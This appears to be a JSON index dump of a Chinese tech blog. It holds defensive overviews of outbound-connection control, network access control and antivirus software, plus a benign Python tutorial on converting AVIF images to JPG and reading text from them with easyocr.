href=\"http://xiejava.ishareread.com/posts/c33148ad/\"\u003e写给两年后2025年的自己\u003c/a\u003e》立了flag，要练好架子鼓、实现英语阅读的自由、写技术博客，换车等，一年过去了进度怎么样呢？2023年我都干了啥？\n很多时候我都在问自己，自己的兴趣到底是什么？兴趣是一个人对特定事物或活动的喜好和热爱，它通常表现为一种积极的、自发的、持久的倾向，可以激发人们的热情和动力，使人们愿意投入时间和精力去探索和体验。\n所以我的兴趣是打鼓、看书、写代码、旅行。\u003c/p\u003e","title":"2023年我都干了啥？"},{"content":"非法外联是指计算机或其他内部网络设备在未经授权的情况下私自连接到外部网络或设备，如互联网、其他公共网络或非法设备等。这种行为可能涉及违反法律法规、公司政策或安全规定。非法外联的危害包括可能导致数据泄露、恶意软件感染、非法访问和攻击等安全风险，同时可能违反合规要求并导致法律责任。\n非法外联的形式多种多样，包括但不限于通过拨号上网、双网卡上网、GPRS、红外等方式进行连接。这些非法连接不仅可能暴露内部网络于外部攻击的风险，而且可能使内部数据面临泄露的风险，特别是当员工使用个人设备连接企业内部网络时。因此，防止非法外联对于维护网络安全和保护组织利益至关重要。\n一、什么是防非法外联系统 针对非法外联，内网计算机连接外网（断开内网连接外网或者同时连接内外网络），常用且有效的方法就是使用防非法外联系统，禁用内网终端访问外部网络，实现内网终端无法外联的方法。防非法外联技术作为管理者有效的技术手段，可以全面、实时地监控整个单位网络内部的非法外联行为。\n二、非法外联的安全风险 （1）内部人员可通过Modem拨号、ADSL拨号或手机无线拨号等方式，非法连接到互联网等外部网络，造成内部网络安全保障措施失效，可能会造成病毒感染、敏感信息泄密等安全事件。 （2）在内、外网物理隔离的涉密信息系统内部，工作人员也可能把内网计算机连接到外部网络上，形成非法的网络出口，从而为外部黑客非法入侵提供途径，容易造成安全隐患。 （3）外部移动笔记本电脑等，通过非法接入内部网络的交换设备，访问内部信息系统中的计算机和服务器资源，造成可能的信息失泄密。 （4）在某些情况下，外部移动笔记本计算机还可以通过直连线，直接跟内部网络中的计算机相连，建立对等网络连接，从而造成信息泄密。\n三、防非法外联系统的工作原理 防非法外联系统的工作原理主要基于网络监控和行为分析。具体来说，它通过以下几个步骤实现非法外联的监测和阻断：\n网络流量监控：防非法外联系统首先会对内部网络的流量进行实时监控。它可以通过部署在网络中的传感器或代理程序来捕获和分析网络数据包。 行为分析：系统会对捕获到的网络数据包进行深度分析，识别出网络流量的来源、目的、协议类型等信息。通过分析这些数据，系统能够判断网络流量是否属于正常行为，还是存在非法外联的嫌疑。 非法外联检测：当系统检测到异常的网络流量，即可能存在非法外联行为时，它会进一步进行详细的检测和分析。例如，系统可能会检查网络连接的持续时间、数据传输量、目标IP地址等信息，以确认是否存在非法外联行为。 阻断与报警：如果系统确认存在非法外联行为，它会立即采取相应的阻断措施，阻止非法连接的继续建立。同时，系统会触发报警机制，向管理人员发送报警信息，以便及时处理和应对。 日志记录与分析：防非法外联系统还会记录所有检测到的非法外联行为，并生成详细的日志。这些日志可以作为后续分析的依据，帮助管理人员了解非法外联行为的情况和趋势，进一步完善网络安全策略。 防非法外联系统的工作原理是通过网络监控和行为分析来检测非法外联行为，并采取阻断和报警措施来保障内部网络的安全。\n四、防非法外联系统的主要功能 防非法外联系统的主要功能包括以下几个方面：\n监测和识别非法外联行为：防非法外联系统能够实时监控网络流量，检测和识别所有被控主机的网络连接状态，以及终端软件的运行情况。它可以检测使用双/多网卡联通内外网的行为，从而发现破坏内外网隔离的违规行为。 阻断和报警非法外联行为：一旦检测到非法外联行为，防非法外联系统可以采取阻断措施，阻止非法连接并建立报警机制。它还能报告非法外联主机的客户端ID号，从而准确锁定非法外联主机，即使在单机环境下也能实现阻断并报警。 实时监视和检测多种上网方式：防非法外联系统能够实时监视普通方式的拨号上网，以及通过WLAN、GPRS或CDMA1X等无线方式进行非法上网的行为。这有助于全面覆盖和检测各种非法外联方式。 强大的日志查询功能：系统提供强大的日志查询功能，可以对受控主机的非法外联行为进行实时报警，并在报警控制中心进行详细的显示和统计分析。这有助于用户了解非法外联行为的情况和趋势。 与违规外联系统联动：在完成前面各项工作后，防非法外联系统还可以与违规外联系统的互联网服务端联动，侦测到涉密载体违规外联的行为。这有助于及时发现和处理涉密载体的非法外联行为。 防非法外联系统的主要功能包括监测和识别非法外联行为、阻断和报警非法外联行为、实时监视和检测多种上网方式、提供日志查询功能以及与违规外联系统联动。这些功能共同构成了防非法外联系统的核心能力，有助于提升内部网络的安全性。\n五、防非法外联系统的使用方式 1、防非法外联系统与内部局域网建立连接后，监测终端的外网连接请求； 2、根据外网连接请求，对所述终端中存储的文件进行安全防护，并输出针对外网连接进行响应的选项； 3、接收响应于所述选项的操作，并根据所述操作按照预设策略对所述外网连接请求进行处理。 一种防止非法外联的系统，包括多个终端、至少一个服务器；其中，所述服务器，用于与所述终端构成的内部局域网；所述终端，用于与所述内部局域网建立连接，监测终端的外网连接请求；根据所述外网连接请求，对所述终端中存储的文件进行安全防护，并输出针对外网连接进行响应的选项；接收响应于所述选项的操作，并根据所述操作按照预设策略对所述外网连接请求进行处理。\n六、非法外联与准入控制有什么区别？ 非法外联和准入控制是网络安全中的两个重要概念，它们有一定的区别。\n非法外联通常指的是内部网络中的设备未经授权擅自与外部网络（如互联网）建立连接的行为。这种行为可能导致敏感数据泄露、网络攻击、恶意软件感染等安全威胁。非法外联通常是由于用户的不当操作、设备漏洞或恶意攻击等原因引起的。为了防止非法外联行为的发生，需要采取一系列的安全措施，如部署防非法外联系统、加强用户教育等。 准入控制则是一种网络安全管理策略，用于控制和管理网络中的设备访问。它通常包括设备认证、访问授权、安全审计等功能。准入控制的主要目的是确保只有符合安全策略的设备才能访问网络，从而防止未经授权的设备或恶意软件进入网络。准入控制可以通过各种技术手段实现，如802.1X认证、NAC（网络准入控制）解决方案等。 简单来说，非法外联关注的是内部设备是否非法连接到外部网络，而准入控制关注的是如何控制和管理网络中的设备访问。两者都是网络安全的重要组成部分，但关注点和实施手段有所不同。在实际应用中，通常需要结合使用非法外联监控系统和准入控制系统来全面提升网络安全水平。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-02-06-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%BA%A7%E5%93%81%E4%B9%8B%E8%AE%A4%E8%AF%86%E9%98%B2%E9%9D%9E%E6%B3%95%E5%A4%96%E8%81%94%E7%B3%BB%E7%BB%9F/","summary":"\u003cp\u003e非法外联是指计算机或其他内部网络设备在未经授权的情况下私自连接到外部网络或设备，如互联网、其他公共网络或非法设备等。这种行为可能涉及违反法律法规、公司政策或安全规定。非法外联的危害包括可能导致数据泄露、恶意软件感染、非法访问和攻击等安全风险，同时可能违反合规要求并导致法律责任。\u003c/p\u003e","title":"网络安全产品之认识防非法外联系统"},{"content":"随着企业信息化建设的不断深入，企业的各种信息资产越来越多，网络安全问题也越来越突出。如何防止外来电脑、移动设备接入局域网，保护企业信息资产的安全，成为企业网络管理的重要问题。准入控制系统的出现，为企业提供了一种有效的解决方案。本文我们一起来认识一下准入控制系统。\n一、什么是准入控制系统 准入控制系统是一种用于管理和控制访问权限的安全机制。该系统的原理是通过对用户、设备、应用程序和网络资源的身份验证和授权，限制对受保护资源的访问。重点解决网络的合规性要求，达到“违规不入网、入网必合规”的管理规范，支持包括身份认证、友好WEB重定向引导、基于角色的动态授权访问控制、可配置的安全检查规范库、“一键式”智能修复、实名日志审计等功能，满足等级保护对网络边界、终端防护的相应要求，同时提供更高效、更智能的网络准入防护体系。\n二、准入控制系统的主要功能 1. 接入设备的身份认证 对终端计算机网络访问权限从入口进行检测验证，只允许受信任的设备和用户使用内网，可在很大程度上降低网络安全风险；支持包括MAC地址、IP地址、基于用户名和密码的身份、接入设备端口、所在VLAN等信息，还支持U-KEY、支持智能卡、数字证书认证，LDAP、无缝结合域管理。\n2. 接入设备的安全性检查 包括各种防病毒软件版本、终端补丁漏洞、应用软件黑、白、红名单检测、非法外联、非法代理、异常流量、敏感操作行为检测等。\n完善的安全策略管理 包括资产安全策略、补丁安装策略、访问策略、应用程序策略、桌面防火墙策略、外设策略和远程维护的策略管理。 移动存储管理 能够对电脑usb接口进行综合管理，设置U盘使用权限（仅写入、仅读取、禁止使用），支持禁用移动硬盘、便携式存储设备和所有usb存储设备，还能够对U盘的插入使用进行日志统计，及U盘中文件的操作行为也能够进行审计记录。 操作系统补丁及升级 能够对内网电脑的操作系统补丁进行统一下发和及时更新，可自动检测终端计算机操作系统漏洞和自动更新安装操作系统补丁。 三、准入控制系统的工作原理 准入控制系统的设计有两个基本的理论前提：\n网络安全状态的非稳定性：这意味着系统会随着时间迁移和变迁，可能会从安全状态转移到非安全状态。因此，及时进行系统更新，将系统状态重新调整回安全状态，是减少受攻击可能性的有效方式。 网络安全状态的可控性：在网络环境中，收集的网络及用户主机的状态信息越多，就越能准确地判断出网络所面临的风险，并及时给出应对措施，控制网络安全状态。 网络准入控制系统的工作原理主要是通过对接入网络的终端进行身份认证、安全技术测评、权限管理和流量控制等手段，确保只有符合规定要求的终端设备能够接入网络，并保障网络的安全性和稳定性。\n具体来说，网络准入控制系统的工作原理包括以下几个方面：\n用户认证：网络准入控制系统对用户身份进行认证，只有授权的用户才能接入网络。用户认证可以通过多种方式进行，如用户名/密码、动态令牌、智能卡等。通过用户认证，可以防止非法用户访问网络资源。 安全技术测评：网络准入控制系统对接入网络的用户终端进行安全技术测评，包括操作系统、防病毒软件、防火墙等的安全性进行评估。通过安全技术测评，可以确保用户终端符合安全要求，减少安全威胁和风险。 权限管理：网络准入控制系统根据不同的用户和设备制定不同的策略，实现灵活的网络准入管理。通过对用户终端的权限进行管理和控制，可以限制用户对网络资源的访问，防止未经授权的访问和数据泄露。 安全检查：网络准入控制系统对接入终端设备进行杀毒软件安装情况、系统补丁等级、设备漏洞等安全检查，确保接入设备的安全性。通过安全检查，可以及时发现和修复终端上的安全漏洞和隐患。 流量控制：网络准入控制系统对网络流量进行监控和管理，限制不安全协议和流量的传输，保障网络带宽和稳定性。通过流量控制，可以提高网络的性能和稳定性，防止网络拥塞和攻击。 网络准入控制系统通过对接入网络的终端进行身份认证、安全技术测评、权限管理和流量控制等手段，实现了对用户终端的全面管理和控制，提高了企业网络的安全性和可靠性。\n准入控制系统有多种准入管控方式，以下是其中一些常见的管控方式：\n802.1X准入控制：基于端口的网络接入控制协议，在接入设备的端口这一级验证用户身份并控制其访问权限。通过EAPoL（局域网可扩展认证协议），实现客户端、设备端和认证服务器之间认证信息的交换。 DHCP准入控制：通过DHCP服务器的配合，实现基于用户身份的IP地址分配和权限控制。用户通过DHCP获取IP地址，同时需要进行身份认证才能获得相应的网络访问权限。 网关型准入控制：通过部署专门的网关设备，对经过该设备的网络流量进行安全检查和过滤，并根据用户身份和权限进行控制。网关型准入控制可以对网络流量进行深度分析和控制，提供更加精细化的网络访问控制。 ARP准入控制：通过ARP协议的特性，实现对ARP请求的拦截和过滤，以防止ARP欺骗攻击。ARP准入控制可以保护网络不受ARP攻击的影响，提高网络的安全性。 准入控制系统有多种管控方式，每种管控方式都有其特定的应用场景和优缺点。在实际应用中，可以根据企业的安全需求和网络环境选择适合的管控方式，提高企业网络的安全性和可靠性。\n四、准入控制系统的特点 准入控制系统的特点主要包括以下几点：\n安全性：准入控制系统实现对网络边界准入的控制，对所有入网终端的统一身份认证、未经允许的设备无法进入网络，可以对网络设备和应用进行集中管理和控制，可以批量处理和更新设备或用户的安全策略，大大提高了网络管理的效率。 合规性：准入控制系统一般采用“不改变网络、不装客户端”的特性，重点解决网络的合规性要求，达到“违规不入网、入网必合规”的管理规范，支持包括身份认证、友好WEB重定向引导、基于角色的动态授权访问控制、可配置的安全检查规范库、“一键式”智能修复、实名日志审计等功能，满足等级保护对网络边界、终端防护的相应要求，同时提供更高效、更智能的网络准入防护体系。 灵活性：准入控制系统支持多样化的认证方式及多种认证协议，对所有入网设备进行身份认证，支持包括MAC地址、IP地址、基于用户名和密码的身份、接入设备端口、所在VLAN等信息，还支持U-KEY、支持智能卡、数字证书认证，LDAP、无缝结合域管理。 可靠性：准入控制系统以电信级稳定的、专业化硬件平台，提供更高的可靠性与稳定性。 高效性：准入控制系统对网络流量进行监控和管理，限制不安全协议和流量的传输，保障网络带宽和稳定性。 此外，准入控制系统还具有集成性、易用性和可扩展性等特性，可以根据企业网络规模和安全需求进行灵活配置和扩展。\n五、准入控制系统的部署方式 1. 网关模式 采用网关部署模式时，将准入控制系统上行端口（与终端相连的端口）设置为要求通过EAP认证，将其下行端口（与外网相连的端口）设置为不要求通过EAP认证。终端设备发送的数据包全部通过准入控制系统，并由系统要求终端进行EAP认证。NACC根据源IP地址对应的设备的网络准入控制状态来决定是允许、拒绝还是重定向。其部署方式如下图所示： 2. 控制旁路模式 将准入控制系统部署在网络中的汇聚层或核心层，与汇聚层或核心层的交换路由设备连接。在交换路由设备上（与准入控制相连相连的设备）启用策略路由，将上行数据包（终端设备发送的数据包）路由到准入系统中，由准入控制系统要求终端设备进行EAP认证。系统根据源IP地址对应的设备的网络准入控制状态来决定是允许、拒绝还是重定向。对于经过验证之后允许接入的数据包，其下行的数据包则从正常的路由汇聚层或核心层设备走，不经过准入设备。其部署方式如下图所示： 六、准入控制系统的应用场景 准入控制系统可以在多种应用场景中发挥重要作用，以下是一些常见的应用场景：\n无线接入控制：在无线局域网（WLAN）环境中，准入控制系统可以对接入网络的用户终端进行身份认证和安全评估，确保只有符合安全要求的终端才能接入网络。这样可以防止非法终端的接入，保护无线网络的安全。 有线网络接入控制：对于企业有线网络环境，准入控制系统同样可以对接入网络的用户终端进行身份认证和安全评估。通过控制网络访问权限，限制用户终端对网络资源的访问，保护企业网络资源的安全性。 远程接入控制：在远程接入企业网络的环境中，准入控制系统可以实施安全策略，对远程用户进行身份认证和安全评估。通过控制远程用户的网络访问行为，保障企业网络的安全性和可靠性。 虚拟化环境：在云计算和虚拟化环境中，准入控制系统可以对虚拟机进行统一的管理和安全控制。通过实施安全策略和进行安全评估，保障虚拟机的安全性和合规性。 终端安全管理：准入控制系统可以对接入网络的用户终端进行全面的安全管理，包括软件安装、系统配置、防病毒软件等的安全性进行评估。通过及时发现和修复终端上的安全漏洞，减少安全事件的发生，提高终端的安全性。 准入控制系统可以在无线接入、有线网络接入、远程接入、虚拟化环境和终端安全管理等多种应用场景中发挥重要作用，提高企业网络的安全性和可靠性。\n七、企业如何利用准入控制系统来保护信息资产的安全？ 企业可以利用准入控制系统来保护信息资产的安全，具体措施如下：\n控制终端接入：通过身份认证、安全技术测评等手段，对接入网络的用户终端进行身份验证和安全评估，确保只有符合安全要求的终端才能接入网络。这样可以防止非法终端的接入，保护企业网络的安全。 实施终端安全策略：对用户终端实施安全策略，包括软件安装、系统配置、网络访问权限等，确保用户终端的安全性。这样可以及时发现和防止终端上的安全漏洞和隐患，减少安全事件的发生。 控制网络访问：通过控制网络访问权限，限制用户终端对网络资源的访问，防止未经授权的访问和数据泄露。这样可以保护企业网络资源不被非法获取和使用，保障企业的机密信息安全。 日志审计：对用户终端的网络访问行为进行日志记录和审计，以便及时发现和处理安全事件。通过审计功能，可以追溯和还原终端的网络访问行为，及时发现和处理安全事件，提高企业网络的安全性和可靠性。 集成其他安全产品：准入控制系统可以与其他网络安全产品进行集成，实现更全面的网络安全防护。通过与防火墙、入侵检测系统等其他安全产品的集成，可以提供更加完善的安全解决方案，提高企业网络的安全防护能力。 灵活部署和扩展性：准入控制系统支持多种部署方式，可以根据企业网络规模和安全性要求进行灵活配置。同时，该系统支持可扩展性，可以根据企业网络的发展和变化进行升级和扩展。这样可以满足企业不断发展的需求，提高企业的信息安全管理水平。 综上所述，企业可以利用准入控制系统来保护信息资产的安全，通过控制终端接入、实施终端安全策略、控制网络访问、日志审计、集成其他安全产品以及灵活部署和扩展性等措施，提高企业网络的安全性和可靠性。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-02-04-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%BA%A7%E5%93%81%E4%B9%8B%E8%AE%A4%E8%AF%86%E5%87%86%E5%85%A5%E6%8E%A7%E5%88%B6%E7%B3%BB%E7%BB%9F/","summary":"\u003cp\u003e随着企业信息化建设的不断深入，企业的各种信息资产越来越多，网络安全问题也越来越突出。如何防止外来电脑、移动设备接入局域网，保护企业信息资产的安全，成为企业网络管理的重要问题。准入控制系统的出现，为企业提供了一种有效的解决方案。本文我们一起来认识一下准入控制系统。\u003c/p\u003e","title":"网络安全产品之认识准入控制系统"},{"content":"在做数据分析的时候有些数据是从图片上去获取的，这就需要去识别图片上的文字。Python有很多库可以很方便的实现OCR识别图片中的文字。这里介绍用EasyOCR库进行图片文字识别。easyocr是一个比较流行的库，支持超过80种语言，识别率高，速度也比较快。\n一、图片识别文字 1、导包 1 pip install easyocr 2、代码实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import easyocr # 用easyocr识别图片并提取文字 def easyocr_pic(pic_path): reader = easyocr.Reader([\u0026#39;ch_sim\u0026#39;, \u0026#39;en\u0026#39;]) results = reader.readtext(pic_path) ocr_result_dict = {} result_list = [] for result in results: result_list.append(result[1]) ocr_result_dict[\u0026#39;orc_reslut\u0026#39;]=result_list return ocr_result_dict if __name__ == \u0026#39;__main__\u0026#39;: orc_result = easyocr_pic(r\u0026#39;waf.png\u0026#39;) print(orc_result) 3、运行效果 可以看到图片中的中文“防火墙”和\u0026quot;Web应用防火墙\u0026quot;都正确识别出来了。\n注意：文件名和文件路径都不能有中文，否则会报错。如：如果将waf.png改成web应用防火墙.png就会报如下的错误。 [WARN:0@11.296] global loadsave.cpp:248 cv::findDecoder imread_(\u0026lsquo;web应用防火墙.png\u0026rsquo;): can\u0026rsquo;t open/read file: check file path/integrity\n在进行图片识别的时候发现如果是avif格式的也会报错。如从京东商品详情页下载的图片都是avif格式的，进行识别的时候就会报错。\n但是这个图片用看图软件是可以正常显示的。\n用画图软件另存为png或jpg格式后可以用easyocr正常识别出图片中的文字。\n注意：直接将.avif的后缀名直接改成.jpg虽然可以用看图软件可以打开，但是用easyocr识别同样会报错，所以我们需要用程序来实现将avif格式的文件转成jpg或png文件格式。\n二、avif格式图片转jpg格式 用python来实现将avif格式的文件转成jpg也很简单，但也有些注意事项。\n1、导包 1 pip install pillow-avif-plugin Pillow 2、代码实现 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import pillow_avif #注意一定要引入pillow_avif否则会抛异常\u0026#39;cannot identify image file \u0026#39;XXX\u0026#39;\u0026#39; from PIL import Image import os # 将avif文件转成jpg文件 def convert_avif_to_jpg(input_path, output_dir): try: # 打开AVIF图像 image = Image.open(input_path) # 获取输入路径的文件名及其所在目录 file_name = os.path.basename(input_path) # 构建输出路径 if not os.path.exists(output_dir): os.makedirs(output_dir) output_path = os.path.join(output_dir, f\u0026#34;{os.path.splitext(file_name)[0]}.jpg\u0026#34;) # 保存为PNG格式 image.save(output_path, \u0026#34;JPEG\u0026#34;) except Exception as e: print(e) if __name__ == \u0026#39;__main__\u0026#39;: # 调用函数进行转换 convert_avif_to_jpg(r\u0026#39;5e595ea90b71f7ae.jpg.avif\u0026#39;, \u0026#39;avif2jpg\u0026#39;) 3、运行效果 可以看到正常将avif文件转成了jpg格式的文件。\n4、注意事项 import pillow_avif #注意一定要引入pillow_avif否则会抛异常\u0026rsquo;cannot identify image file \u0026lsquo;XXX\u0026rsquo;\u0026rsquo; 虽然代码没有用到pillow_avif但是一定要显示的用import pillow_avif否则在运行的时候会抛异常\u0026rsquo;cannot identify image file \u0026lsquo;XXX\u0026rsquo;\u0026rsquo;\n三、Python实现avif图片转jpg格式并识别文字全部代码 所有代码用easyocrUtil.py实现\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import easyocr import pillow_avif #注意一定要引入pillow_avif否则会抛异常\u0026#39;cannot identify image file \u0026#39;XXX\u0026#39;\u0026#39; from PIL import Image import os # 将avif文件转成jpg文件 def convert_avif_to_jpg(input_path, output_dir): try: # 打开AVIF图像 image = Image.open(input_path) # 获取输入路径的文件名及其所在目录 file_name = os.path.basename(input_path) # 构建输出路径 if not os.path.exists(output_dir): os.makedirs(output_dir) output_path = os.path.join(output_dir, f\u0026#34;{os.path.splitext(file_name)[0]}.jpg\u0026#34;) # 保存为PNG格式 image.save(output_path, \u0026#34;JPEG\u0026#34;) except Exception as e: print(e) # 用easyocr识别图片并提取文字 def easyocr_pic(pic_path): reader = easyocr.Reader([\u0026#39;ch_sim\u0026#39;, \u0026#39;en\u0026#39;]) results = reader.readtext(pic_path) ocr_result_dict = {} result_list = [] for result in results: result_list.append(result[1]) ocr_result_dict[\u0026#39;orc_reslut\u0026#39;]=result_list return ocr_result_dict if __name__ == \u0026#39;__main__\u0026#39;: # 调用函数进行转换 convert_avif_to_jpg(r\u0026#39;5e595ea90b71f7ae.jpg.avif\u0026#39;, \u0026#39;avif2jpg\u0026#39;) # 调用函数识别图片并提取文字 orc_result = easyocr_pic(r\u0026#39;avif2jpg\\5e595ea90b71f7ae.jpg.jpg\u0026#39;) print(orc_result) 博客地址：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-01-31-python%E5%AE%9E%E7%8E%B0avif%E5%9B%BE%E7%89%87%E8%BD%ACjpg%E6%A0%BC%E5%BC%8F%E5%B9%B6%E8%AF%86%E5%88%AB%E5%9B%BE%E7%89%87%E4%B8%AD%E7%9A%84%E6%96%87%E5%AD%97/","summary":"\u003cp\u003e在做数据分析的时候有些数据是从图片上去获取的，这就需要去识别图片上的文字。Python有很多库可以很方便的实现OCR识别图片中的文字。这里介绍用EasyOCR库进行图片文字识别。easyocr是一个比较流行的库，支持超过80种语言，识别率高，速度也比较快。\u003c/p\u003e","title":"Python实现avif图片转jpg格式并识别图片中的文字"},{"content":"随着计算机技术的不断发展，防病毒软件已成为企业和个人计算机系统中不可或缺的一部分。防病毒软件是网络安全产品中的一种，主要用于检测、清除计算机病毒，以及预防病毒的传播。本文我们一起来认识一下防病毒软件。\n一、什么是计算机病毒 计算机病毒（Computer Virus）是一种在计算机系统内进行破坏、传播和自我复制的恶意软件。是恶意代码中的一种，详见《网络安全之恶意代码》。它通常通过电子邮件附件、网络共享、软件下载等方式传播，能够破坏计算机的操作系统、数据文件和应用程序，导致计算机系统出现各种问题。计算机病毒是人为故意编写的，其目的是为了窃取个人信息、破坏计算机系统或者制造混乱等。 为了保护计算机系统的安全，用户需要采取一些措施来预防和清除计算机病毒。这些措施包括安装可靠的防病毒软件、定期更新防病毒软件和操作系统、不随意打开未知来源的邮件和链接、谨慎下载和安装软件等。\n二、什么是防病毒软件 防病毒软件也称反病毒软件，是用于消除电脑病毒、特洛伊木马和恶意软件、保护电脑安全、安全安全的一类软件的总称。杀毒软件通常集成监控识别、病毒扫描和清除和自动升级等功能，有的杀毒软件还带有数据恢复等功能。 防病毒软件最初是为了检测和删除计算机病毒而开发的，因此得名。但是，随着其他种类恶意软件的泛滥，防病毒软件开始提供针对其他计算机威胁的防护。特别是，现代的防病毒软件可以保护用户免受：恶意浏览器帮助对象（BHO）、浏览器劫持者、勒索软件、键盘记录程序、后门程序、rootkit、特洛伊木马、蠕虫、恶意LSP、拨号程序、欺诈工具、广告软件和间谍软件。\n三、防病毒软件的作用 一个好的防病毒软件的作用主要包括以下几点：\n实时监控和防护：防病毒软件可以实时监控计算机系统的运行状况，一旦发现可疑行为或病毒威胁，能够及时拦截和清除。 病毒查杀和清除：防病毒软件能够检测和清除已知的各类病毒、木马、蠕虫等恶意程序，确保计算机系统的安全。 未知病毒的检测和清除：现代的防病毒软件采用了多种技术手段，包括启发式扫描、行为监控、云安全等，能够检测和清除未知的病毒威胁，提高对未知病毒的防护能力。 系统保护和恢复：防病毒软件能够对计算机系统的关键位置进行保护，防止恶意程序的篡改和破坏。同时，提供系统恢复功能，帮助用户快速恢复受病毒影响的系统。 网络安全防护：防病毒软件通常集成了防火墙、网络监控等网络安全防护功能，能够全面保护计算机系统的网络安全。 智能升级和更新：防病毒软件能够智能检测和升级病毒库，确保用户始终拥有最新的病毒防护策略。 自定义设置：用户可以根据自己的需求对防病毒软件进行自定义设置，包括扫描范围、防护级别等，以满足不同场景下的安全需求。 一个好的防病毒软件能够提供全面、高效的计算机系统保护，帮助用户避免各类病毒威胁的侵害。用户选择一款可靠、易用的防病毒软件并正确配置和使用，可以大大提高计算机系统的安全性和稳定性。\n四、防病毒软件的工作原理 防病毒软件检测病毒的方法有：特征码法、校验和法、行为检测法、软件模拟法。防病毒软件大致上是根据以下几个方式辨别病毒：\n病毒检测的方法 在与病毒的对抗中，及早发现病毒很重要。早发现，早处置，可以减少损失。检测病毒方法有：特征代码法、校验和法、行为监测法、软件模拟法。 特征代码法 特征代码法被早期应用于SCAN、CPAV等著名病毒检测工具中。国外专家认为特征代码法是检测已知病毒的最简单、开销最小的方法。 具体来说，防病毒软件通过以下步骤实现对病毒的查杀：\n病毒库的建立：防病毒软件会建立一个包含已知病毒特征的病毒库，这些特征包括病毒的二进制代码、文件头信息、长度等信息。 文件的扫描：当防病毒软件运行时，它会扫描计算机中的文件，并将每个文件与病毒库中的特征进行比对。 特征匹配：如果某个文件的特征与病毒库中的某个病毒特征相匹配，防病毒软件就会判定该文件为病毒。 清除病毒：一旦发现病毒，防病毒软件就会采取相应的措施清除病毒，例如删除病毒文件、隔离可疑文件、清除注册表中的恶意项等。 除了基于特征的扫描外，现代的防病毒软件还采用了启发式扫描、行为监控等技术来提高对未知病毒和变种病毒的检测和清除能力。\n五、防病毒软件的核心技术 防病毒软件主要通过两种方式来保护计算机系统：实时监控和手动扫描。实时监控是指在系统运行时，软件会持续地检查文件和内存，一旦发现病毒或可疑行为，就会立即采取措施清除病毒或阻止其传播。而手动扫描则是根据用户的需求，对指定的文件或文件夹进行全面的病毒检查。 防病毒软件的核心技术包括：\n静态扫描技术：通过对文件进行逐一的比对，检测是否存在病毒代码。 动态监控技术：实时监控系统的运行状况，对异常行为进行及时检测和拦截。 启发式扫描技术：基于行为和特征分析的扫描方式，可以检测未知病毒和变种病毒。 沙箱技术：将可能存在病毒的文件或程序在隔离的环境中运行，避免对系统造成实质性的伤害。 云安全技术：利用云端的数据和智能分析能力，提高病毒的检测率和响应速度。 除了上述核心技术外，一款优秀的防病毒软件还需要具备以下特点：\n兼容性：能够与各种操作系统、应用程序和硬件设备兼容。 可靠性：能够准确地检测和清除病毒，避免误报和误杀。 易用性：界面友好，操作简单，易于使用和管理。 实时更新：能够及时更新病毒库和防护策略，以应对新出现的病毒威胁。 智能防护：能够根据系统的运行状况和病毒威胁的情况，自动调整防护策略，提高防护效果。 防病毒软件是保护计算机系统免受病毒威胁的重要工具。选择一款优秀的防病毒软件并正确配置和使用，可以有效地提高计算机系统的安全性和稳定性。\n六、防病毒软件的使用方式 防病毒软件会扫描计算机文件和内存以查找表明可能存在恶意代码的模式。防病毒软件的使用方式主要包括以下几个步骤：\n安装防病毒软件：首先需要从正规渠道下载和安装防病毒软件，并按照提示进行操作。在安装过程中，需要注意选择需要保护的区域和功能，以及设置软件自动更新和升级等选项。 定期更新病毒库：防病毒软件的核心是其病毒库，只有不断更新病毒库才能更好地检测和清除病毒。用户需要定期更新防病毒软件，以确保拥有最新的病毒库。 定期扫描计算机：防病毒软件需要定期扫描计算机系统，以检测和清除病毒。用户可以根据自己的需求设置扫描的范围和频率，以及自定义扫描计划等。 手动扫描：如果用户怀疑某个文件或文件夹可能存在病毒，可以使用手动扫描功能对它们进行扫描和清除。在防病毒软件的界面上选择“手动扫描”功能，然后选择需要扫描的文件或文件夹即可。 实时监控：防病毒软件应该开启实时监控功能，对计算机系统的运行状况进行实时监测。一旦发现可疑行为或病毒威胁，能够及时拦截和清除。 隔离和清除：如果防病毒软件检测到恶意软件的存在，可以将其隔离或清除。根据软件的提示进行操作即可。 自定义设置：用户可以根据自己的需求对防病毒软件进行自定义设置，包括扫描范围、防护级别等，以满足不同场景下的安全需求。 正确配置和使用防病毒软件是保护计算机系统免受病毒威胁的重要措施。用户需要注意软件的安装、更新、配置和使用，以最大限度地发挥其保护作用。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-01-30-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%BA%A7%E5%93%81%E4%B9%8B%E8%AE%A4%E8%AF%86%E9%98%B2%E7%97%85%E6%AF%92%E8%BD%AF%E4%BB%B6/","summary":"\u003cp\u003e随着计算机技术的不断发展，防病毒软件已成为企业和个人计算机系统中不可或缺的一部分。防病毒软件是网络安全产品中的一种，主要用于检测、清除计算机病毒，以及预防病毒的传播。本文我们一起来认识一下防病毒软件。\u003c/p\u003e","title":"网络安全产品之认识防病毒软件"},{"content":"随着互联网的发展，网络攻击和病毒传播的方式越来越复杂，对网络安全的要求也越来越高。传统的防火墙设备在面对一些高级的网络攻击时，往往难以做到全面的防护，因此需要一种更加有效的网络安全设备来提高网络的安全性。此外，随着信息技术的不断发展，各个行业对信息系统的依赖程度也越来越高，一旦信息系统遭受攻击或入侵，可能会导致数据泄露、系统瘫痪等严重后果。因此，对于一些高安全级别的网络环境，如政府、军队、公安、银行等，需要一种更加可靠的安全设备来保证网络的安全性。在这样的背景下，安全隔离网闸作为一种新型的网络安全设备应运而生。本文让我们一起来认识安全隔离网闸。\n一、什么是安全隔离网闸 